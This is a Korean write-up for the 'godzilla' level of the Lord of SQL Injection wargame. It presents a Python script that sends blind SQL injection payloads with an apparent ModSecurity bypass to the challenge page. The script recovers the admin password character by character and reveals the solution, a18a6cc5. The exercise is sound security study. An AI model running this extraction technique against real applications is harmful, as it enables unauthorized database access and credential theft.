> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/lord-of-sqlinjection/godzilla.md).

# godzilla

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-msvgaLRyT-I6wghey%2F-M-mtOwsLDu83beGMljh%2Fimage.png?alt=media\&token=52e5900c-4710-40f9-8317-30dd389228e4)

파이썬 코드를 짜면 아래와 같다.

```python
import requests

URL = 'https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php?id='
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello admin'


def query(payload):
    cookies = {'PHPSESSID': PHPSESSID}
    r = requests.get(URL + payload, cookies=cookies)
    content = r.text
    return TRUE_PHRASE in content


# 8
def find_pw_length():
    pw_len = 1
    while query("'<@ or id='admin' and length(pw)={} or '".format(pw_len)) is False:
        pw_len += 1
    print('pw_len: {}'.format(pw_len))
    return pw_len


# a18a6cc5
def find_pw():
    pw_len = find_pw_length()
    pw = ''
    for pos in range(1, pw_len + 1):
        for character in range(0, 128):
            if query("'<@ or id='admin' and ord(substr(pw,{},1))={} or '".format(pos, character)) is True:
                pw += chr(character)
                break
    print('pw: {}'.format(pw))


find_pw()
```

실행결과, pw는 `a18a6cc5` 이다.

<https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php?pw=a18a6cc5> 에 접속하면 문제가 풀린다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-mzT9HUITp_4pgOuKS%2F-M-mzVtRFZhWPdwRCJH9%2Fimage.png?alt=media\&token=42da1607-3cb8-4a40-a726-050897dcf156)